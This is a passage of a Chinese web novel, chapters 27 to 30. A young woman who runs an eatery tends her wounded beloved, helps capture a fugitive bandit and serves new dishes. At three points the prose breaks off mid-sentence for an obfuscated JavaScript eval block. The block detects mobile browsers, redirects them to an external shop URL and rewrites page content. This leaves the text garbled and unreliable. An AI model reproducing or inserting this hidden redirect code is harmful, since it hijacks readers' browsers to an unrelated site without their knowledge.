李定卓垂下眼帘：“是我不对。” 江弥杉一句重话都说不出，指头勾上李定卓平放的小指：“静心修养，我还不会使匕首。” 说完，江弥杉抬起眼帘。 李定卓嘴角微微勾起，抬眼，轻咳一声：“我还未换药。” 27. 老鸭萝卜汤 困意在吃过饭后又再一次达到顶峰，江弥杉当下就想躺下，天昏地暗地饱足睡一觉。 但…… 江弥杉望着李定卓惨白的脸，目光滑落至他被毒箭贯穿的左胸。 刻意避免去谈如何伤的，去问是否疼痛，或是否后悔，这些话，江弥杉夜里也通过他的反应知晓了，因而一个字都说不出来。 便也由昨夜知晓的明白，因此她更清楚，换药绝不能马虎。 江弥杉轻声建议：“药量不同，成效也会存在差异，还是请药师来换吧。” 话音刚落，李定卓接道：“我知晓用多少，帮我一回……” 说着，他勾住江弥杉的小指，眸光柔和倾流，怕弥杉不应，又垂下眼帘，悄悄抬眸请求。 江弥杉忍下个哈切，视线模糊后又清晰，瞧李定卓这幅小娃娃求糖吃的模样，又不免心疼，无奈点头：“好，我帮你换。” 取来换药的物件，见李定卓已坐至榻边，下身盖着软被，听到脚步声近，他轻轻解开衣带。 江弥杉坐至他身边，见李定卓衣带解开，却因受伤不便暂未脱下，她正经地咳一声：“我先帮你脱衣。” 说到脱衣二字，江弥杉话音便轻了许多。 李定卓低低应一声，手渐渐抓住身下的绸缎，眼眸随着弥杉而挪动。 心砰砰跳响间，江弥杉伸手轻轻打开叠交在李定卓腹前的衣裳，露出藏着的起伏有致的肌肉。 江弥杉数到最后一块停下，忍住想摸极品的冲动，目光滑过勃发的腹部，褪下挂在李定卓锁骨之上的衣裳，不经意地略过饱鼓胸膛，兴许是因为练武的德缘由，肌体都很坚实。 江弥杉觉着耳朵烫热，口干舌燥，干咽一下，又凑近了些，微微弯身去解系在一侧的绷带结。 突出的喉结动了不止一次，李定卓抓紧绸单，凑得近的缘故，江弥杉温热的气息轻轻洒落，绒毛似的撩拨着心绪，看她红了耳朵，神色无异地绕下一条有一条纱布。 纱布一圈圈缠绕至她的手腕，一眼都未分神，李定卓垂眸看了眼腰腹。 纱布的尾端被血色浸染，直至看到他胸口的不规则的伤口，而这样的伤疤，他身上并不少，江弥杉抑制不下泛酸的心绪，又担心李定卓乱想，面上仍保持冷静，一手纱布放落至身边，拿或干净的软怕，捏出一小节。 不晓李定卓在想什么，她望向李定卓晦暗不明的眼眸，语气又温和许多：“若是疼了，就告诉我。” 李定卓嗯的应一声，凑头过去，直往目光所落之处落。 见此架势，江弥杉忙抬手掩住口，埋怨地望着没有得逞的李定卓，翻过手，轻轻推着他的热唇往后，又弯身去擦拭伤口处的血渍与药膏，收在腹前的手却不住发烫。 待上药时，江弥杉更加小心，几乎每涂抹一下，都要抬眼察看李定卓是否难受，即便看他眼中浮浮沉沉，心虽蹦的极快，但仍保持冷静，专心上药。 温热的指节在胸口与后背轻滑，李定卓觉得心里的痒意更浓了，从前那些从未有过的念头，一时间都扎堆毛了出来，化作一场汹汹的红火，燎便每一寸肌体。 待重新系好绷带，江弥杉还是未忍住，微微站起身，往适才想要偷袭地唇一落，又很快挪开，轻咳一声，正色打断他凑过来：“静养，药师交代了，要静养。” ：“否则，若是康复不好，我就去找个更健壮的，虽然很难，但总会找到。” 李定卓扣住弥杉的手，唇角微微上扬，笑意未至：“不会有这个机会。” 江弥杉挑眉：“这看得你了。” 待李定卓喝过药，江弥杉试探看他真睡熟了，才悄悄退出卧房。 周旺早已将屋子收拾出来，将要离开时，江弥杉与周旺道：“伯伯，劳烦你去买一只五个月的鸭子和几条白萝卜回来，今晚我想煮鸭汤。” 她实在是没有多余的力气去集市了，只想闭眼修养。 周旺点头答应，心想一个菜哪够，姑娘在，无论如何都要多做几道菜！ * 一觉睡至午后，江弥杉醒来时，窗纱已泛橙黄，她迅速穿上衣裳，往厨房跑去。 周旺提前宰了鸭子，剃去鸭毛，冲洗几回后盛放在木盆里，正端木盆放至灶台，就见江弥杉快跑进来。 周旺眯眼笑起：“姑娘别着急，鸭子才处理好呢。” 江弥杉呼吸急促，站在门口深呼吸，待气息平稳才走至灶台边，笑道：“多谢伯伯。” 周旺摆摆手：“姑娘客气啦。”说完便去灶炉前添柴火。 江弥杉笑着，提出小臂长的鸭子，割去鸭屁股，从鸭身中切开，铛铛几声，两半鸭肉就成了一个指节长的肉块。 焯水后逼去腥味，大火炖煮，空闲下来，江弥杉又帮着周旺处理其他菜食，估摸着时间，又去打浮沫。 周旺捡着菜，想起弥杉开着食肆，姑娘一日都不回，只留兰香与另一位厨娘，竟也不担心，一时觉着昨夜是冲昏头了，一时又奇怪于姑娘并不担心。 ：“姑娘，食肆那边可要紧？”周旺问。 江弥杉一笑，这件事她并不担心，兰香与万宜如今都非常熟练工作流程，再者，万宜的厨艺并不逊色于京中酒楼的厨师，又擅长举一反三。 食肆的菜单，万宜滚瓜烂熟，又时而有些自己的小巧思，很快就能独当一面。 江弥杉：“伯伯放心，兰香她们有能力应对。” ：“我明日一早，直接去食肆就好。” 比起食肆那边，江弥杉更担心李定卓挑食，不好好修养身体，她轻声道：“伯伯，你定要劝公子修养身体，吃饱、睡足，如此身子才会康愈的更快些。” 想起午饭时，李定卓也只是略动几口，周旺无奈：“大人自己有主意呢。” 江弥杉：“有主意也不行，除非，他想日后被病痛折腾。” 周旺：“……” 姑娘与夫人的确很像，旁人都说老爷夫纲不振，他却晓得，老爷就是喜欢夫人这么念叨，乐在其中。 就是不晓得，大人…… 周旺思索片刻，回：“姑娘不如教我几道菜食吧。” 剥菜的江弥杉：“……好。” 晚饭时候，江弥杉仍然在榻边陪着李定卓。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009224|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 葱花土豆泥、蛋饺与老鸭萝卜汤，两菜一汤，荤素搭配。 江弥杉又夹一块金黄的蛋饺放入李定卓的小碟，：“祛毒、养伤亦是损耗力气的，只吃米饭可不行。” ：“与我一起用饭都这样，那若我不在，你岂不是吃得更少。” 李定卓的气色比起早间，恢复了许多，不似初时惨白，唇色也浓了许多。 闻言，李定卓眸光一颤，抬眼看去，对江弥杉猜测到属实的真相而露出诧异。 江弥杉挑眉：“又让我猜中了，是不是？” ：“周伯伯做一餐饭，已是很细致了，你略动几筷，到时候身体修养不好，难受也不是旁人呐。” 平日里，挑剔些也行，可受伤了还这般，江弥杉实在忍不住，还是说得委婉的。 若是在上辈子，她看肯定指着鼻子骂一顿，留一句爱吃不吃，不吃拉到。 李定卓垂眼，盛入一勺清澈的鸭汤，其上点缀着几颗红枸杞、深红的大枣，弥杉的话，他找不出一丝理由去反驳，眸底印着一汪香汤，沉默中露出晃悠悠的郁色。 ：“知晓了。”他盛起汤，送至口边。 鲜美的汤温热舒缓，舌尖宛若浸入了一处温泉池子浸泡，随着醇香又鲜美的味道，渐渐软了。 鲜美又随之沁入身体，抚慰着疲累的身躯，令人是如此舒适、安逸。 江弥杉暗暗轻叹一声，她不想让李定卓不适，可不说，将来若是修养不好身体，吃苦的还是他本人。 古语有云，忠言逆耳利于行，再给她几次机会，她也还是会说。 不过，江弥杉又斟酌片刻，看李定卓沉闷的模样，又补上了一句：“我会心疼的，定卓” 李定卓诧异地抬眸，确定没没有听错，送至口边的汤都忘喝，盯着面前嘴角落下的江弥杉。 江弥杉叫他什么？ ：“你叫我什么？” 江弥杉松了一口气，暗想果然奏效，觉着应当稍微羞涩一些，便收起喜悦。 她声音又低了下去，略略抬眸，正好对上李定卓的诧异的眸子，：“定卓……” 说完，她抿唇：“若是觉得不好，我以后绝不如此叫了。” 李定卓毫不犹豫：“没有不好，没有。” 反而觉着，如此，似乎更亲密了些，比公子、大人，都更亲密。 江弥杉嘴角才总算露出一点松快，哄好了！ 吃完饭，李定卓才提起午间周旺提到的事情，：“昨夜，你哭了？” 旺伯说，昨夜换水，进来时，姑娘眼睛都哭红了。 想来是周伯伯告诉李定卓的，江弥杉也未遮掩，轻点头：“看你难受，忍不住。” 李定卓嘴角浮出淡淡一抹笑，拉过江弥杉放在腿上的温手，双手一起捂在手心。 ：“日后不会了。” 江弥杉：“刀剑无所眼，你身上那么多伤疤，那是一句话就能挡住的。” 她话语中，又流露出几抹感慨似的劝慰：“你，还有你的手下、兄弟，能少受伤，已是不易了。” 李定卓一愣，随后手又收紧了些。 28. 烤羊腿套餐 时节中，酒楼太过偏爱羊肉的偏爱，致使整只的羊几乎被酒楼定完，去京郊，探望李定卓之余，江弥杉时常会到京郊的市场闲逛，但京郊市场的情况与城内差不多。 酒楼的购货数量，小食肆远远比不上，因而，大多商贩也更愿意将货留给酒楼，江弥杉心有不甘地接受了不争的事实，但羊肉，她是不愿就此作罢。 烤全羊暂且是无法做了，但谁说只能做烤全羊? 几日后，在一片烤全羊的热潮中，灯火灿灿，玉欣怡一身男装穿梭在街道的各个小摊。 ：“姑……少爷，我们还是回去吧，若是被发现，典嬷嬷会生气的。” 跟在她身边的是一个作小厮打扮的少女，想到典嬷嬷生气，训人的模样，藤萝止不住地害怕。 玉欣怡满不在乎：“我实在憋不住了，再不让我出来逛逛，我就快闷疯在院子里了。” ：“凭她怎么说，我会护着你们的，她若是有能耐，就让郡王府退亲！”她压低怒声。 她又不是非想嫁给赵穆，学规矩已经很累了，还得被典嬷嬷整日训斥，耳朵都快起茧子了！ 藤萝更急了：“此话可万万说不得！” 玉欣怡冷哼一声，拿上面人，转头就走。 路过一处小摊，听两个男子交谈着烤羊肉，玉欣怡放慢来了脚步，跟在他们身后。 ：“诶，这该如何是好，分明午间才吃的烤羊腿，这会儿又馋了，尤其是夹在玉米饼里……” ：“快别提了，你一说，我更想再去吃一只。” ：“明日，明日再去江记食肆吃！” ：“行，这回你可不许与我抢了！” 烤羊腿而已，怎么听他们说起来，竟如此美味，一天不吃，就如此馋？ 江记食肆…… 玉欣怡本打算去酒楼享用烤全羊的，当下又不免动摇，想去尝尝烤羊腿。 玉欣怡直接上前一步，抱拳：“打扰二位兄台，适才听二位提起江记食肆，请问，是在何处？” 藤萝来不及劝阻，干脆放弃，叹口气，低头跟在欣怡身后。 ：“尚仁街，往里走几户就是了。” ：“多谢二位兄台。” 即便才从甘州回京不到一旬，京中的街巷玉欣怡都已经熟悉的差不多，问得位置，她便拉着藤萝往江记食肆去。 彼边，江记食肆。 兰香托着衙门纷发的通缉令，其上画着一个中年男子，浓眉大眼，瞧着却没有一丝正气，让人厌恶。 身边，江弥杉与方万宜看着画。 江弥杉目光停落于逃犯，山匪，想到李定卓在京郊受伤的事，下意识地蹙起眉尖。 方万宜目色染恨，语气也重了些：“听说是官匪勾结，掳掠百姓，男子去庄园做苦役，女子则卖入沐花街。” 兰香：“啊！是远汇侯吧，前几日就被抄了！” 京中的大小事，不过一日，就会成茶余饭后的谈资，小摊、食肆、酒楼的消息最为灵通。 江弥杉不爱八卦，因此很少留意食客口中的谈资。 听到事情缘由时，一股荒谬至极的感觉涌上，她望向兰香，又望一眼万宜，一字一顿地又重复了一遍：“侯爷与山匪勾结，掳掠百姓？” 方万宜沉默片刻，点头：“画上这位，似乎是山匪的三当家。” 话音刚落，堂中又有食客举手。 ：“江姑娘，再来一壶酒！” ：“玉米卷饼也再添一份。” 方万宜先行离开，兰香卷起画，江弥杉又瞟一眼画上的人像，才扬起唇角，转身应道：“好嘞，马上送到。” 说完，江弥杉绕出柜台，往厨房去拿陪在烧羊腿里的玉米饼。 ＊ 玉欣怡找倒江记食肆时，还未走进去，就有丝□□/人的香气飘至鼻底。 是烤羊肉独特的香味，但又与酒楼飘出的不同，这道诱人的风更香、更醇厚。 果真是没来错，玉欣怡转头对藤萝道：“就是这儿！” 藤萝望着头顶的月亮，暗暗头疼。 食肆内只有两桌，但都中间都放着一个长条的碳炉，炉上架这一条小臂长的亮色烤羊腿，灯光下，油光一闪一闪的，只看就十分诱人。 玉欣怡拉着藤萝在靠墙的一桌坐下，瞧着站在柜台的女子走来。 江弥杉一眼瞧出是位女公子，衣着打扮虽是男二，但眉眼、身形却与女子相近，尤其是跟着的小厮，衣裳宽了许多，很明显是随意找来套上。 江弥杉没有拆穿，还未说话，就被玉欣怡岔进。 ：“要一份烤羊腿。” 江弥杉笑着解释：“烤羊腿有单卖，和成套卖，一套中有烤羊腿、玉米卷饼、南瓜小米粥……” 玉欣怡已等不及，又打断：“那就成套的。” ：“公子稍待片刻。” 说完，江弥杉离开。 等待间，藤萝已然放弃劝说姑娘回府，但是又想到此时典嬷嬷兴许正去院子，若是见姑娘不在，必定会呆到姑娘回去为止。 当下看，还早呢，她不由得心里默默轻叹一声。 等了片刻，两个姑娘前后端上菜，满满一桌。 长条的烤炉上，切片的红棕色羊肉在碳火的撩拨下，溢出滋滋炸响的密密油泡，内里淡淡的粉色逐渐褪去，看上去就十分嫩。 还有那香气，飘飘悠悠地引诱着鼻息之间，多等一刻都忍不了。 方万宜上完菜就离开，切肉的事，弥杉无事时就由弥杉来，若是弥杉在忙，那便由她与兰香来。 江弥杉笑道：“烤架上的肉已能够吃了，在烤就老了。” 玉欣怡眼睛一亮，拿起筷子就夹起片厚实的肉，在面前的三碟干湿各异的纠结片刻，决定先光吃一块。 厚实的羊肉丝毫不柴，没有任何突兀的丝条干扰，也没有一丝刺口的腥膻，是香，羊肉的香，还有羊肉中多味的香。 又因羊肉腿部时常活动的缘故，肉质的口感紧实，但炙烤的恰到好吃，因而又甚是香嫩。 光吃都十分好吃，肉块在齿舌间翻滚、弹舞，那股愉悦，从口，传到心脑，令人身心都倍感满足。 ：“嗯~”玉欣怡连点几下头，不禁感叹。 ：“藤萝，吃啊，别愣着！！” 藤萝：“……是。” 江弥杉嘴角微微扬起。 羊腿是午后准备的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009225|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将腿肉划开，用小茴香、胡椒、孜然、蒜片等材料覆盖腌制，去除腥味的同时，使得羊腿内部吸收腌料。 烤制的柴木为胡杨木，是方万宜推荐的，她试过不同的柴木，胡杨木更为适宜。 如此，才有了色香味俱全的江记的烤羊腿。 藤萝也夹了一片肉入口，适才还想着典嬷嬷的事，待肉一入口，只有一个念头-这肉太香啦！其余的念头早已抛诸脑后。 吃了几块肉，玉欣怡觉着还未满足，感慨：“若是有奶酒就更好了！” 藤萝夹肉的动作一滞，倒吸一口凉气，：“如此······不好吧。”说着就连忙祈祷店里无奶酒。 夜里偷溜出来是一回事，但若是姑娘喝醉了，那就是另一回事了。 江弥杉切着肉，上辈子吃烤全羊时，几个朋友聚在一起，就去超市买了奶酒，还调配出奶茶，一起配着烤羊肉一起吃，的确很畅快！ ：“是羊奶酒吧？”江弥杉笑问。 玉欣怡遇到了知己，眼睛一亮，：“对，就是羊奶酒，若是有奶茶更好！” 京中的牛奶价贵，羊奶更不必说，江弥杉非常遗憾，但仍留下美好的期望：“兴许，之后会排上。” 玉欣怡夹起肉，打量着面前的年轻女子，看样子，应该是食肆的掌柜，可她这般年轻，与她相差不大，而且，是女子······ 不过，女子又如何呢，若不是此番回京，忽被赐婚，她也想和父兄一起，上马征战! 玉欣怡笑道：“那我必要再来品尝一回！” 藤萝轻声道：“姑·····公子，酒还是回去在饮吧。” 漏了馅儿，玉欣怡瞪藤萝一眼，又抬眸瞄一眼身边的弥杉。 江弥杉对上玉欣怡的丹凤眼，：“我早已猜到您是女公子了。” 玉欣怡:"······" 她垂眸扫一眼身上的装扮，问：“如此明显吗？” 江弥杉：“雌雄莫辨，但总有迹可查，比如，姑娘并无突出喉结，面庞也更柔和。” 玉欣怡轻笑一声，：“这般打扮更方便，实属无奈。” 若是换成家中那些衣裳，别说出门了，就是出院子都难，否则她也不会穿二哥的衣袍，虽是改过的，但还是不合身，这也都怪典嬷嬷，非收了她的男袍，得亏她藏得深，才留下这一套。 不过今夜回去，大概也无了。 江弥杉如实道：“姑娘英姿飒爽，气质不凡，何种装扮都甚是精神呢。” 藤萝笑起，骄傲补充：“那当然，我们姑娘在甘州时，可是城里最好看的姑娘了。” 玉欣怡这是到有些不好意思，夹肉时娇嗔藤萝一眼：“那就如此夸张了！” 藤萝转着眼珠想了会儿，趣事片刻就浮上眼前：“我想起来了，姑娘在甘州时，有一回女扮男装救了位小姐，那位小姐就对姑娘一见钟情，而后才晓得姑娘是女子，闹了个乌龙，之后便与姑娘成了手帕之交呢。” 往事不堪回首，尤其是糗事，玉欣怡嚼着肉：“······” 江弥杉展颜一笑，正欲说话，恰此时，门口传来一个粗狂的男声。 ：“给老/子上一盘烤羊肉！” 29. 烤羊腿套餐下 玉欣怡蹙着眉望去，眉心更紧了几分。 站在门口的，是位身材魁梧的壮汉，右脸颊上一条狰狞的长疤，从狭细的眼睛爬至狭细的上唇，一张口露出一口黄至发绿的牙。 玉欣怡捏紧筷子，目光从上至下将坐至右侧靠墙的人扫一遍。 有所怀疑，但无实据，便又收回目光。 转头时，玉欣怡明锐地察觉到适才还笑眼盈盈的江掌柜脸色沉重，一双眸子直直盯在那个壮汉身上。 转头一刹那，那张脸即刻从画纸浮现于江弥杉眼前。 府衙画师的技艺精湛，画上所描摹的五官神韵具在，以至于只一眼，即便他脸上有疤，江弥杉也认出，此人便是逃犯三当家。 下一刻，江弥杉脸上又重新浮出笑意，：“客官稍等。” 她又与玉欣怡道：“公子可试试将肉蘸上酱汁，包在玉米饼中，如此有个缓冲，不易上火。” 说完，她放下手中的长刀，刀把朝向玉欣怡，随后嘴角浮出一抹笑意。 玉欣怡垂眸扫一眼刀，再对上江弥杉没有笑意的墨眸，她即刻反应过来，嘴角微微上扬。 适才只是猜测，觉着那位男子并非善类，当下看掌柜的反应，她的猜想果真是对的。 虽是惊险之事，但她暗暗觉得刺激！ 藤萝已经按照江弥杉所说，夹了几块肉，蘸上辣椒面，放入淡黄的玉米饼中，用筷子卷起，夹给玉欣怡。 ：“公子，吃饼。” 江弥杉快步离开，玉欣怡也拿起饼咬下一口。 玉米饼松软香甜，但香辣味突破香甜，绽放在舌尖时，醇香软嫩的羊肉也随之涤荡味蕾。 很香、很配，杂粮与肉荤的结合，清新中多了醇厚，彼此衬托，使得口感丰富的更上一层楼，是单吃一种无法体会到的美味。 难怪他们会如此夸赞！ 如此美味，她吃一天都不会腻！ ：“藤萝，你也来一个！”玉欣怡拿起一个饼，夹起许多肉蘸过后，卷起递给藤萝。 厨房间，江弥杉刚进去，笑意就不复存在。 江弥杉的话音轻小，但毫不拖沓：“兰香，你从后门出去，小跑到府衙报官，就说那个三当家，在店里用饭。” 兰香下意识地往往外看，诧异地瞪起圆眼：“真……真是他？” 江弥杉点头，兰香咬紧唇，迅速解下围裙，：“姑娘放心，我快去快回。” 说罢，快步往后门去。 江弥杉又望向方万宜：“万宜，我去帮他割肉，你去第二桌。” 方万宜取下羊肉，握紧两端，正要说话，就见弥杉从袖中掏出匕首，举起，两对眼睛弯弯笑：“我有匕首，能够自保。” ；“还有酒。” 方万宜嘴角微微扬起，思索过后，她道：“姑娘，山匪虽酒量大，但并非是海量，度数高，混杂在一起，作用更快。” 闻言，江弥杉低笑一声，挑起眉：“这个交给你。” ＊ 三当家的酒量的确不错，江弥杉特意用得碗，这会而已是第四碗。 架上的羊肉已吃空三回，江弥杉笑着继续割肉。 ：“哎呀，姑娘你别割肉了，陪我喝一盏如何？”三当家贪婪地目光终是落至身侧的妙人上。 一句话，对面的三个人都停下来动作。 江弥杉羞涩地垂眼，轻言轻语：“小女不擅酒力，怕坏了大爷的兴致。” ：“半盏，就半盏！”低眉顺眼，轻柔娇怯，三当家心跟着痒痒。 ：“就用我这盏。”说着，三当家端起酒碗畅饮。 爽辣的酒液就似烈油，体内那股邪火，刷的一下就燎遍全身。 府衙到食肆，时辰应该也差不多了，趁他闭眼喝酒，江弥杉紧紧抓握住刀，转了个角度，目光落至他桌下的身体。 毫不犹豫，狠，准。 不过，时机未到。 三当家饮了几口，端酒碗至江弥杉面前，眼睛直勾勾盯着她白皙的脖颈。 江弥杉难为情：“小女真不胜酒力，请大爷见谅。” ：“胜多少酒力，也得喝下才晓得。” ：“真不受酒力，我会扶你的。” ：“喝吧~” 江弥杉摇头，：“请大爷见谅。” 三当家深深吐出一口气，当下不在寨子，若是在寨子里，他非得罐她几碗，要让烈酒流的她满身都是，当场就办了！ 说完，江弥杉又咬起唇，一副为难的模样：“饮一口，到可以。” 三当家沉下去的眼睛一亮，嘿嘿笑两声。 店里只有三个女子，能做得成什么事，倒不如先畅快一把！ 至于另外三个…… 正当江弥杉将刀换至左手，当她要接碗时，三当家一把拉上她的手，拽她坐下。 怀里的人抖着，三当家撑大眼睛，挑起眉头，心跳的块烧起来。 玉欣怡拿起刀刀，起身怒喝：“大胆！” 三当家不以为意，懒得在有兴致的时候计较这些，抬起酒就要泼灌。 ：“啊！！” 江弥杉再不犹豫，坐的距离远，拿起掉在他袍上的刀，朝他下身重重刺下，又往后一推，然后迅速逃离。 玉欣怡跳过桌凳，再三当家下疼得失色时，一脚踢翻滚作一团的人，接着又补在手上狠补一刀。 江弥杉迅速倒在地上，玉欣怡的刀还未拔出来，也跟着歪到在地。 藤萝：“……” 她震惊地望向神色不变的方万宜，那一刀，可真是狠啊，姑娘都做不出来。 两人对看一眼，决定将戏演下去，忙跑过去。 恰此时，兰香带着衙役跑进，见到这副劫后余生的场景，一愣，随后急哭了，连忙跑进去。 ：“姑娘！！” ＊ 江记食肆又歇业了，苦思烤羊腿的食客颇为郁闷。 玉欣怡回家时，终究还是被典嬷嬷抓到了。 典嬷嬷要罚藤萝，但玉欣怡寸步不让，直言若是在动她院子里的丫鬟，她便立刻让嬷嬷体会一把习武的害处。 纵使典嬷嬷叫来玉夫人，玉欣怡便哭典嬷嬷仗势欺人，倚老卖老，欺负她年轻。 规矩她认真的学，但嬷嬷还是时刻挑剔，是否是觉得她不如京中闺秀…… 闹了一通，玉欣怡总算出了口气。 而江弥杉则乘车去了京郊。 李定卓早在花园等候。章文安将三当家在江记食肆落网的消息告之他，是在事发第二日。 ：“除了江姑娘，还有位姓玉，两位都是将军的女儿，齐手拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009226|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下了马违，下手一个比一个狠。” ：“不过还是吓晕了。” ：“哦，对了，江姑娘兴许是吓到了，马违要强灌她喝酒。” 听到后面，李定卓蹙着的眉头都拧在一起，让周旺备车去接江弥杉。 食肆的事，江弥杉即便想瞒也瞒不住，周旺来时，她便知道晓大概是李定卓听说了事情。 周旺照常只送到花园，：“姑娘，大人在里面等你，今日心情不大好，姑娘当心。” 江弥杉：“······” 同僚说了什么，说的多严重，江弥杉不得而知，但按现场晕倒两个人的情况看，她猜，转述应该也不会安宁。 但晕倒，的确要比她站着更适合，虽说是装晕，但效果达到了，结果也不太差，三当家落网了，京中少了一个祸害，食肆、酒楼、商铺、百姓都不用提心吊胆，那一刀，她觉着还轻了！ 江弥杉往之前练匕首的地方走，一路又斟酌起该如何与李定卓说清楚缘由，正此时，旁边的小亭忽传来一道低声。 ：“江弥杉。” 不惊波澜的语气，莫名透着股寒意，随风飘来，江弥杉脚似被凝固住，心里也跟着一紧，李定卓从未用这般语气和他说过话。 一秒之中千万的念头飘过，她转过身，扬起笑脸，走上前去：“嗯，你今日身上可好了许多？” 李定卓点头，上下打量一道，目光滑过弥杉红润的面色，看着不像有伤损，却还是问：“可有伤到？” 江弥杉摇头，笑着拉住李定卓的袖边，仰头对上他未有掩藏担忧的眼眸：“你教我的，下刀要快、准、狠，他如何能伤到我？” ：“我没事。”江弥杉晃起李定卓的衣袖。 李定卓握住弥杉另一手，牵入怀里，埋首在她的肩窝，顺着搂住，感受着贴在他身心的温热，眼底晦暗不明。 马违交代，他就是看中江记是小食肆，又打听清楚都是女子，才挑来去用饭的，而目的，并不止是用饭。 兴许是胸怀过于暖热，江弥杉心头一化，她松手，歪头靠在李东卓宽厚的肩膀，伸手抱住李定卓的精瘦腰肢。 她轻声道：“开食肆总会遇上各式人物，我会尽力保全自己与亲友。” “山匪之事，我做不到认出他，还任他欺负，兴许性命不保，再放跑他，由他祸害其他人，我做不到的，定卓。” 李定卓呼出憋在心中的浊气，低低嗯了一声，：“我知道。” 说完，李定卓松开搂住弥杉肩膀的手，由她往后退出，又牵至栏椅她坐下。 江弥杉这时才说出心里的话：“若说怕，其实也有一点，不过刀扎下去时，反倒不怕了，觉得报了大仇。” 李定卓抬眼，淡淡一笑问：“扎的哪里？” 江弥杉咳嗽两声，目光下移。 李定卓了然，明白文安为何会说一个比一个狠。 ：“还不错，抓的住要害。” 江弥杉笑起：“毕竟是男子，要害，大约也就那么几处。” 李定卓眯起凤目，若有所思地打量起江弥杉，：“晕倒呢？” 江弥杉又咳两声：“毕竟是山匪嘛……” 李定卓低低笑一声，无言摇头。 后又望着江弥杉道：“但愿，往后你少如此聪慧几回。” 30. 猪肚鸡暖锅 冬日的寒冷随着几片凋零的枯叶吹进京城，又随着江记食肆女掌柜不好惹的传闻，由玉欣怡传至江弥杉面前。 ：“江姑娘可千万别放在心上，若是照他们那般讲究，兴许我们几人都活不下去，不好惹，哼，正经人谁会来平白无故来招惹。” 江弥杉菜都未报，就被抢了些，看她着急，还以为是什么大事，却没有想到是她有恶名了。 像被戳中了，江弥杉摇头，哼的轻笑一声，：“姑娘说得，正是我所心中所想，我为自保，难不成还有错了？” 玉欣怡听得扬起笑脸：“就是！” 对面的藤萝端起茶饮一口，默不作声，心想，完了，又一位姑娘被姑娘带偏了！ 话锋一转，江弥杉问：“今日新上的一套猪肚鸡暖锅，姑娘可来一套尝尝？” 恰此时，兰香与方万宜先后端着铜锅与大盘菜食走至第一桌，鲜香飘飘而来，寒冷之中，暖意似乎也跟着染来，玉欣怡毫不犹豫：“可！” 冬日吃暖锅最舒坦了！ 江弥杉应下来，正要回厨房备菜，这时又有一位装扮的女子走入，身后跟着两位打扮一样的少女，看上去大有来头。 江弥杉与方万宜对看一眼，万宜了然，又去准备三桌的猪肚鸡暖锅。 两位少女则左右各站一旁，拿出手帕将桌椅干净地擦拭一道，：“夫人请坐。” 装扮华贵的女子，目轻飘飘地低投向站在对面的江弥杉，随后柔若芳花的一笑，才在中间的第五桌坐下，她瞧着江弥杉走来，仔细地从发，到衣着地打量一遍。 江弥杉端着茶盘来，照常先到三盏茶，茶烟袅袅，她道：“冬日风寒，不若先饮口红枣姜茶暖暖身。” 宝和长公主慢慢端起茶盏，却道：“姑娘便是江弥杉吧？” 江弥杉应了一声是，她一没有和那位富家少爷传出什么流言蜚语，二没有与人纠缠不清，专程来找她，最大的可能性，还是她与宫里的关系。 宝和长公主面上始终带着亲和的笑意，前几日母后就召她进宫，与她说了山匪的事情，让她去食肆，看望江弥杉是否受伤。 母后与故人曾经是最要好的手帕之交，如今那位故人只有江弥杉一位血亲在世，因而心里很是挂念，从前她未出嫁，外出不便，当下出嫁了，江弥杉又遇上如此凶险之事，她又怎好回绝母后。 宝和长公主长睫微微一扇，又问：“当下身子可好？” 江弥杉：“······” 看来，宫里真的非常担心她的安危。 ：“一切都好，并无大碍。” 宝和长公主轻点头：“还望姑娘多加保重身体，勿要以身试险。” 江弥杉微笑回道：“多谢姑娘挂心。” 既然来食肆，那必然要好生招待，绝不能让顾客空着肚子离开。 江弥杉：“今日新上一套猪肚鸡暖锅，姑娘可尝尝？” 听到猪肚，宝和不免一愣，她不爱吃内脏，因而所用的御膳也几乎从未有过一道内脏。 看来今日来的不巧，冬日吃暖锅最为适宜，但偏偏她不爱内脏。 宝和颇为遗憾，正欲回绝，想问可有其他菜品，正当此时，另外食肆两位姑娘一前一后端着鲜香漫漫的暖锅走过。 心中忽冒出个细小的声音——尝一回如何？ 尝一回，可猪肚…… 江弥杉打量宝和微微蹙起眉，眼睛却跟着火锅走，一副为难的模样，揣测她兴许不吃内脏，但又闻得香气，大概有些纠结。 不过，灶上正好有为不吃内脏，但想要尝试的食客而准备的试吃汤底。 若是能接受，就上火锅，不能接受也没有关系，还有其他暖乎乎的菜品可供挑选。 江弥杉：“当下备有可供品尝的汤底，可先尝味，瞧是否吃得惯，若是吃不惯，店里也有其他菜品。” 